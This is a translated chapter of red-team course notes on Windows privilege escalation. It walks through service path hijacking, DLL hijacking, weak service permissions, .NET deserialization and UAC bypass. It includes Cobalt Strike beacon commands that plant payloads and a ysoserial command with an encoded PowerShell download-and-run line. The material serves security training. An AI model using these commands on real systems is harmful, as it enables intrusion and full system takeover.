ZeroPoint Security red team ops I CRTO 8 Privilege Escalation 提权
8 Privilege Escalation 权限提升
在网络安全领域,这一情形颇为常见:特别是在初次入侵之后,攻击者往往仅能以标准用户级别访问受感染的系统。权限提升是攻击者采用的一种策略[TA0004],他们试图利用漏洞或配置错误来获取更高的权限。这通常是实施其他策略(如凭证访问)所必需的先决条件。
8.1 Windows Accounts Windows 帐户
与权限提升相关的主要有三类账户组。
8.1.1 Users 用户
这些是低权限账户,它们无权访问或修改自身文件以外的任何内容。
8.1.2 Administrators 管理员
本地管理员组的成员旨在用于系统管理。因此,他们对计算机上的大多数对象(如目录、文件和服务)拥有完全控制权限。
8.1.3 Service User Accounts 服务用户帐户
这些账户是 Windows 系统内置的,服务控制管理器(Service Control Manager, SCM)会使用它们来运行 Windows 所依赖的众多服务。这些账户包括:
LocalService 本地服务
该帐户(通常写作 LOCAL SERVICE )在本地计算机上拥有最低权限,并使用匿名凭据在网络上进行身份验证。
NetworkService 网络服务
该帐户(通常写作 NETWORK SERVICE )在本地计算机上拥有最低权限,但通过提供计算机的凭据在网络上以计算机的身份进行身份验证。
LocalSystem 本地系统
这个账户(通常写作 SYSTEM )拥有对大多数系统对象的完全控制权限,就像本地管理员组一样。在某些情况下,它甚至拥有管理员组所不具备的权限,因此通常被认为是 Windows 系统中你能获得的最高级别访问权限。
这些账户不被安全子系统识别,因此例如运行 net user 时不会显示它们。它们的权限来自用户权限分配 ,这是 Windows 中的安全策略设置。
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/user-rights-assignment
User Rights Assignment 用户权限分配
这些设置允许对账户权限进行更精细的控制。系统管理员可能要求某些账户以比普通用户更高、但比完全管理员权限更低的权限运行服务。上述列出的服务用户账户,其权限是通过用户权限分配(而非本地组成员身份)来继承的。用户权限分配分为两大类:
Logon Rights 登录权限
这些设置控制着账户如何以及在何处被授权登录计算机。例如, SeBatchLogonRight 允许用户通过批处理队列服务(例如任务计划程序)登录。
User Rights 用户权利
这些权限控制对对象的访问,甚至可以覆盖显式权限。例如, SeBackupPrivilege 允许用户读取任何文件,即使他们没有被授予读取权限。
有些敏感的用户权限可能会被滥用以获取 SYSTEM 权限,例如 SeImpersonatePrivilege 。运行 Web 服务器或 SQL 服务器等服务的帐户可能拥有此类权限。
Vulnerable Services 易受攻击的服务
服务是Windows系统中权限提升攻击面最大的环节之一,因为它们常以SYSTEM权限运行,且可能因多种原因(包括配置错误或存在漏洞)而遭受攻击,具体表现为:
动态链接库(DLL)搜索顺序劫持(T1574.001)。
通过以下方式实施路径拦截:
PATH环境变量[T1574.007]
搜索顺序劫持[T1574.008]
未加引号的路径[T1574.009]
服务文件权限设置薄弱[T1574.010]。
服务注册表权限设置薄弱[T1574.011]。
通用软件漏洞[T1068]。
有关已安装服务的信息可通过Windows内置工具(如sc.exe和wmic.exe)、PowerShell命令(如Get-Service和Get-WmiObject),或通过与API(如EnumServicesStatusEx)交互的自定义工具进行收集。
https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-enumservicesstatusexa
beacon> sc_enum
SERVICE_NAME: BadWindowsService
DISPLAY_NAME: BadWindowsService
TYPE : 16 WIN32_OWN
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 3004
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Bad Windows Service\Service Executable\BadWindowsService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : BadWindowsService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
RESET_PERIOD (in seconds) : 0
REBOOT_MESSAGE :
COMMAND_LINE :
还有多种自动化工具可协助发现这些漏洞,例如PowerSploit和SharpUp。然而,自行开展分析往往也颇具价值,尤其是在排查应用程序自身存在的漏洞时。原生应用程序可借助Ghidra或IDA Free等工具进行逆向分析;而.NET应用程序则可使用dotPeek或dnSpy等工具进行逆向。
https://github.com/PowerShellMafia/PowerSploit
https://github.com/GhostPack/SharpUp
https://github.com/NationalSecurityAgency/ghidra
https://hex-rays.com/ida-free
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
Path Interception 路径拦截
PATH环境变量包含一系列目录路径,系统会从这些目录中查找并运行常用程序。例如,当你在脚本或命令行中使用net命令时,实际执行的是C:\Windows\System32\net.exe。由于Windows无法预先知晓net.exe的具体位置,因此会按PATH变量中列出的目录顺序逐一搜索,直至找到该文件。
所有环境变量(包括PATH)均可通过env命令查看。
beacon> env
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\Bad Windows Service;C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps
该变量由以下两个位置的条目共同构成:
用户级
这些条目从注册表键 HKEY_CURRENT_USER\Environment 中读取。计算机上的每个用户均可拥有独立的路径变量,且可自由修改。
系统级
这些条目从注册表键 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment 中读取。标准用户无权修改此路径。
用户进程的PATH变量是系统级路径与用户级路径的拼接结果,而系统进程仅使用系统级路径。当攻击者向系统级PATH变量中添加可被标准用户写入的额外目录时,便会引发通过PATH变量的路径拦截攻击([T1574.007])。
此外,软件安装程序通常会将其路径添加至默认路径之前。
Path=C:\Python313\Scripts\;C:\Python313;C:\Windows\system32;C:\Windows; ... etc ...
PATH Environment Variable PATH 环境变量
PATH 环境变量包含一个目录列表,常用程序都从这些目录运行。例如,如果您在脚本或命令行中使用 net ,则会执行 C:\Windows\System32\net.exe 事先并不知道 net.exe 的位置,因此它会在 PATH 中的每个目录中搜索它。
可以使用 env 命令查看包括 PATH 在内的每个环境变量。
beacon> env
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\Bad Windows Service;C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps
该变量由两个位置的数据构成:
User 用户
这些条目是从注册表项 HKEY_CURRENT_USER\Environment 读取的。计算机上的每个用户都可以拥有不同的路径变量,并且可以自由修改这些变量。
Machine 机器
这些条目是从注册表项 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment 读取的。普通用户无法修改此项。
用户进程的 PATH 变量是机器路径和用户路径的拼接,而系统进程仅使用机器路径。当向机器的 PATH 变量中添加了标准用户可写的其他目录时,就会发生 PATH 变量路径拦截 [ T1574.007 ]。
软件安装程序通常会在默认路径之前添加自己的路径。
Path=C:\Python313\Scripts\;C:\Python313;C:\Windows\system32;C:\Windows; ... etc ...
当软件安装在系统根目录(即 C 盘)时,这个问题尤为突出,因为默认情况下,标准用户对这里创建的目录拥有写入权限。可以使用 cacls 命令读取文件或目录的权限。
C:\Python313\Scripts\ BUILTIN\Administrators:(CI)(OI)F
NT AUTHORITY\SYSTEM:(CI)(OI)F
BUILTIN\Users:(CI)(OI)R
NT AUTHORITY\Authenticated Users:C
NT AUTHORITY\Authenticated Users:(CI)(OI)(IO)(special access:)
DELETE
GENERIC_READ
GENERIC_WRITE
GENERIC_EXECUTE
此输出的关键信息如下:
F:所有
R:读取并执行
C:读取、写入、执行和删除
W:写
由此可见,已认证用户可以写入 C:\Python313\Scripts
现在,考虑以下 C# 代码,它只是调用 cmd /c timeout

超时程序可执行文件位于磁盘上的 C:\Windows\System32\timeout.exe ,Windows 必须通过 PATH 环境变量才能找到它。因此,可以通过将名为 timeout.exe 的二进制文件放入 C:\Python313\Scripts 目录来利用此漏洞,因为 Windows 会在 System32 目录之前搜索该目录。
beacon> cd C:\Python313\Scripts
beacon> upload C:\Payloads\dns_x64.exe
beacon> mv dns_x64.exe timeout.exe
在这种情况下,即使使用相对路径调用恶意二进制文件 cmd.exe ,将其放置在同一路径下也不会奏效,下面将对此进行更详细的解释。
Search Order Hijacking 搜索顺序劫持
如上所示,当使用相对路径从脚本或命令行运行程序时,Windows 必须在 PATH 环境变量中查找该程序。如果 PATH 中包含位于 System32 和其他核心目录之后的目录(这些目录也对标准用户可写),则可能导致系统劫持。
该注释暗示在这种情况下无法执行 cmd.exe,这是因为用于运行进程的底层 API 可能遵循不同的搜索顺序(PATH 变量只是其中的一小部分)。当攻击者能够劫持搜索顺序时,就会发生通过搜索顺序劫持进行路径拦截 [ T1574.008 ]。
调用应用程序的行为取决于用于执行目标程序的 API 和参数。WinExec API 的搜索顺序与 DLL 类似,即:
执行目录
当前工作目录
16 位系统目录
PATH 环境变量中的目录
CreateProcess API 的实现方式可能有所不同。如果提供了 lpApplicationName ,则它只会搜索当前工作目录。默认情况下,所有服务启动时,其当前工作目录都设置为 C:\Windows\System32 ,这就是为什么无法使用上述 PATH 变量劫持 cmd.exe 的原因。如果未提供 lpApplicationName 参数且 lpCommandLine 参数为空 ,则它将遵循上述搜索顺序。.NET 中的 Process 类会根据传递给它的参数调用 ShellExecuteEx 或 CreateProcess。如果提供了部分路径,则 ShellExecuteEx 假定当前工作目录。
如果攻击者拥有对搜索顺序中位于合法目录之前的某个目录的写入权限,则劫持 cmd.exe 是可能的。唯一位于二进制文件当前工作目录和 System32 目录之前的目录是其执行目录,即二进制文件所在的目录,在本例中为 C:\Program Files\Bad Windows Service\Service Executable
在这种情况下,我们可以看到服务二进制文件运行所在的目录是可写的(实际上,已认证用户对其拥有完全控制权)。
beacon> cacls "C:\Program Files\Bad Windows Service\Service Executable"
C:\Program Files\Bad Windows Service\Service Executable NT AUTHORITY\Authenticated Users:(CI)(OI)F
beacon> cd C:\Program Files\Bad Windows Service\Service Executable
beacon> upload C:\Payloads\dns_x64.exe
beacon> mv dns_x64.exe cmd.exe
Unquoted Paths 未加引号的路径
当 lpCommandLine 参数包含空格且未用引号括起来时,CreateProcess 函数会表现出更有趣的行为,因为它不会遵循搜索顺序,而是尝试根据空格来解释路径。例如, C:\Program Files\Bad Application\Bad Program.exe 会被解释为:
C:\Program
C:\Program.exe C:\Program Files\.exe
C:\Program Files\Bad
C:\Program Files\Bad.exe
C:\Program Files\Bad Application\Bad
C:\Program Files\Bad Application\Bad.exe
C:\Program Files\Bad Application\Bad Program.exe
C:\Program Files\Bad Application\Bad Program.exe.exe
如果攻击者能够在合法路径之前出现的某个解释执行路径中编写恶意程序,则可以利用未加引号路径拦截漏洞 [ T1574.009 ]。一个常见的滥用场景是,当服务配置为运行某个二进制文件,但该二进制文件的路径既包含空格又未加引号时。
sc_enum 的此输出显示 BadWindowsService 配置的路径未加引号。
beacon> sc_enum
SERVICE_NAME: BadWindowsService
[...snip...]
BINARY_PATH_NAME : C:\Program Files\Bad Windows Service\Service Executable\BadWindowsService.exe
如果攻击者能够将文件写入路径中会被不同方式解释的位置,例如 C:\Program Files\Bad.exe 或 C:\Program Files\Bad Windows Service\Service.exe 等,那么就可以利用这一点。
滥用服务时,必须使用专用的 svc.exe 有效载荷。
beacon> cacls "C:\Program Files\Bad Windows Service"
C:\Program Files\Bad Windows Service NT AUTHORITY\Authenticated Users:(CI)(OI)F
beacon> cd C:\Program Files\Bad Windows Service
beacon> upload C:\Payloads\dns_x64.svc.exe
beacon> mv dns_x64.svc.exe Service.exe
服务启动时会运行其二进制文件,因此,恶意二进制文件写入磁盘后,必须停止并重启服务才能执行它。攻击者可能没有执行此操作的权限,因此必须等到计算机重启。如果他们拥有权限,则可以使用 sc_stop 和 sc_start 命令。
beacon> sc_stop BadWindowsService
stop_service:
hostname:
servicename: BadWindowsService
SUCCESS.
beacon> sc_start BadWindowsService
start_service:
hostname:
servicename: BadWindowsService
SUCCESS.
Weak Service Permissions 不安全的服务权限
在安装过程中,如果授予不安全的服务权限,可能会出现错误,从而导致权限提升漏洞。
Service File Permissions 服务文件权限
服务运行的二进制文件可能应用了弱访问控制权限 (ACE),允许普通用户对其进行修改。该 ACE 可以显式地设置在二进制文件本身,也可以从其父目录继承。攻击者只需用自己的二进制文件覆盖原始二进制文件,服务控制管理器就会在下次启动服务时执行修改后的二进制文件 [ T1574.010 ]。
beacon> cacls "C:\Program Files\Bad Windows Service\Service Executable\BadWindowsService.exe"
C:\Program Files\Bad Windows Service\Service Executable\BadWindowsService.exe NT AUTHORITY\Authenticated Users:F
利用此漏洞的难点在于,服务运行时无法覆盖其二进制文件。虽然可以停止并重新启动服务,但这属于非默认配置错误。
beacon> cd C:\Program Files\Bad Windows Service\Service Executable\
beacon> sc_stop BadWindowsService
beacon> upload C:\Payloads\BadWindowsService.exe
beacon> sc_start BadWindowsService
这显然是一个相当具有破坏性的行为,因为你用你的有效载荷完全覆盖了服务二进制文件。
Service Registry Permissions 服务注册权限
安装新服务时,会在注册表 HKLM\SYSTEM\CurrentControlSet\Services 下写入一个条目。这些注册表项保存着服务的配置信息,例如名称、描述、二进制文件路径和启动用户。如果在安装过程中,服务注册表项的访问控制权限 (ACE) 较弱,攻击者可能能够修改服务的配置,从而执行其恶意载荷 [ T1574.011 ]。
beacon> powerpick Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\BadWindowsService | fl
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BadWindowsService
Owner : BUILTIN\Administrators
Group : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\Authenticated Users Allow FullControl
BUILTIN\Users Allow ReadKey
BUILTIN\Administrators Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
CREATOR OWNER Allow FullControl
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
ReadKey
Audit :
Sddl : O:BAG:SYD:AI(A;OICI;KA;;;AU)(A;CIID;KR;;;BU)(A;CIID;KA;;;BA)(A;CIID;KA;;;SY)(A;CIIOID;KA;;;CO)(A;CIID;KR;;;AC)
(A;CIID;KR;;;S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934
681)
一种常见的做法是简单地更改二进制文件路径,使服务指向完全不同的二进制文件。
beacon> sc_stop BadWindowsService
beacon> sc_config BadWindowsService C:\Path\to\Payload.exe 0 2
beacon> sc_start BadWindowsService
另一种较为另类的方法是利用一些不太常用的注册表项,例如 Performance 。该注册表项由 Clément Labro 发现,它指向一个负责监控服务性能的 DLL 文件。由于它是可选的,并且更适用于开发/测试环境而非生产环境,因此默认情况下大多数服务安装中都不会包含它。这意味着攻击者可以在不干扰服务正常运行的情况下添加它。
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
DLL Search Order Hijacking DLL 搜索顺序劫持
除了最基本的应用程序之外,几乎所有应用程序都会引用位于外部模块(例如 DLL,即动态链接库)中的函数。DLL 是 PE(可移植可执行文件)文件,其中包含任何程序都可以使用的通用功能。Windows 提供了许多程序员可以使用的 DLL,例如 kernel32.dll、user32.dll 等,用于与 Windows 的各个部分进行交互。开发人员也可以编写自己的 DLL 供其应用程序使用。
引用 DLL 文件时,通常不会提供其完整路径,因为无法事先准确知道其位置。例如,指定 C:\Windows\System32\kernel32.dll 并非在所有情况下都有效,因为 Windows 不一定安装在名为 C 的驱动器上。同样,指定类似 C:\Program Files\My Application\MyDll.dll 路径也并非在所有情况下都有效,因为用户可能选择将应用程序安装在其他位置。
因此,程序通常只通过名称引用外部模块,例如“kernel32”或“MyDll”,而 Windows 负责在磁盘上查找其位置。这被称为 DLL 搜索顺序 。
虽然根据应用程序类型的不同会有一些细微差别,但大多数应用程序的搜索顺序是:
执行目录。
16 位系统目录。
程序的当前工作目录。
PATH 环境变量中的目录。
DLL 搜索顺序劫持是一种攻击技术 [ T1574.001 ],攻击者将一个与合法模块同名的恶意模块放置在搜索层级中高于合法模块的目录中。如果加载该模块的程序以管理员权限运行,则攻击者的权限也会随之提升。
考虑以下简单示例,其中 DLL 在循环中加载和释放

传递给 LoadLibrary 的路径是相对路径。但是,服务可执行文件运行所在的目录中没有 BadDll.dll 文件
beacon> ls C:\Program Files\Bad Windows Service\Service Executable
Size Type Last Modified Name
---- ---- ------------- ----
9kb fil 01/06/2025 16:10:12 BadWindowsService.exe
那么,这个文件是从哪里加载的呢?检查系统路径环境变量发现, C:\Program Files\Bad Windows Service 已被添加到系统路径变量中。
beacon> env
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\Bad Windows Service;C:\Users\kbowles\AppData\Local\Microsoft\WindowsApps
列出此目录可知 BadDll.dll 就位于此处。
beacon> ls C:\Program Files\Bad Windows Service
Size Type Last Modified Name
---- ---- ------------- ----
dir 01/06/2025 16:12:31 Service Executable
10kb fil 01/06/2025 16:10:12 BadDll.dll
根据上述搜索顺序,攻击者可能在哪里劫持此 DLL? 如果执行目录可写,则执行目录可能是一个目标。在本例中,执行目录是可写的。
beacon> cacls "C:\Program Files\Bad Windows Service\Service Executable"
C:\Program Files\Bad Windows Service\Service Executable NT AUTHORITY\Authenticated Users:(CI)(OI)F
要执行劫持操作,只需将 Beacon DLL 有效载荷上传到此目录,并将其命名为 BadDll.dll 。
beacon> cd C:\Program Files\Bad Windows Service\Service Executable
beacon> upload C:\Payloads\dns_x64.dll
beacon> mv dns_x64.dll BadDll.dll
Software Vulnerabilities 软件漏洞
软件应用程序也可能通过传统漏洞[ T1068 ](例如缓冲区溢出、格式化字符串、目录遍历、SQL 或命令注入以及反序列化不受信任的数据)而被利用。当此类软件以提升的权限运行时,从用户上下文进行利用可能会导致权限提升。
以下示例代码从不受信任的位置 C:\Temp\data.bin 读取二进制文件,并使用 BinaryFormatter 反序列化数据。攻击者如果能够向该位置写入恶意二进制数据块,则可以利用此漏洞,反序列化后即可执行其恶意代码。

ysoserial.net 是一个非常棒的工具,可以用来创建用于此目的的 .NET 小工具(尽管选项数量之多令人眼花缭乱)。在下面的示例中,我使用 TypeConfuseDelegate 小工具和 BinaryFormatter 格式化程序来运行一个 PowerShell 单行命令。我以原始格式输出数据并将其写入 C:\Payloads\data.bin
https://github.com/pwntester/ysoserial.net
C:\Users\Attacker>C:\Tools\ysoserial.net\ysoserial\bin\Release\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAzADEANAA5ADAALwAnACkA" -o raw --outputpath=C:\Payloads\data.bin
只需将文件上传到目标位置,然后等待我们的 DNS 信标进行签到即可。
beacon> cd C:\Temp
beacon> upload C:\Payloads\data.bin
User Account Control 用户帐户控制
Windows 提供了一种名为强制完整性控制 (MIC) 的机制,用于控制对进程和文件等安全对象的访问。它包含四个主要的完整性级别,分别命名为低 、 中 、 高和系统 。安全主体无法修改完整性级别高于自身主体的对象。
即使是计算机上的本地管理员组成员,默认情况下也只有中等完整性级别。您可以通过在命令提示符中运行 whoami /groups 命令轻松查看这一点。

从上图可以看出,该用户是本地管理员组成员,但 cmd.exe 实例仅以中等完整性级别运行。这导致添加新本地用户的系统级操作失败,并出现“访问被拒绝”错误。
用户帐户控制 (UAC) 是 Windows 的一项纵深防御功能,它充当着信息管理 (MIC) 的守门人。要执行上述之类的管理操作,管理员用户必须明确请求以提升的权限(即高完整性级别)启动 cmd.exe。UAC 会提示用户同意或输入凭据,用户必须接受该提示。

UAC(用户帐户控制)旨在防止以管理员身份运行的恶意软件在后台静默读取或修改系统。然而,有一些技术[ T1548.002 ]可以绕过它。
Elevators & Exploits 提权与漏洞
Cobalt Strike 提供了两种内置原语,用于在高完整性上下文中执行代码,分别称为“电梯”(elevators)和“漏洞利用”(exploits)。 电梯通过 runasadmin 命令运行任意命令(带参数)。 漏洞利用则通过 elevate 命令生成一个新的 Beacon 会话。这两个命令都内置了一些 UAC 绕过方法,操作人员甚至可以通过 Aggressor 添加自定义绕过方法。这些方法的实现可以是 Beacon 能够执行的任何内容,包括 PowerShell、.NET、反射 DLL 和 BOF。
elevate 提升
elevate 命令的语法是 elevate [exploit] [listener] ,单独执行该命令将显示可用的漏洞利用程序。
beacon> elevate
Beacon Local Exploits
=====================
Exploit Description
------- -----------
cve-2020-0796 SMBv3 Compression Buffer Overflow (SMBGhost) (CVE 2020-0796)
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
runasadmin 以管理员身份运行
runasadmin 命令的语法是 runasadmin [exploit] [command] [args] ,单独执行该命令将显示可用的电梯
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms16-032 Secondary Logon Handle Privilege Escalation (CVE-2016-099)
uac-cmstplua Bypass UAC with CMSTPLUA COM interface
uac-eventvwr Bypass UAC with eventvwr.exe
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
uac-wscript Bypass UAC with wscript.exe
runasadmin 的灵活性意味着您可以执行任何任意命令。

浙公网安备 33010602011771号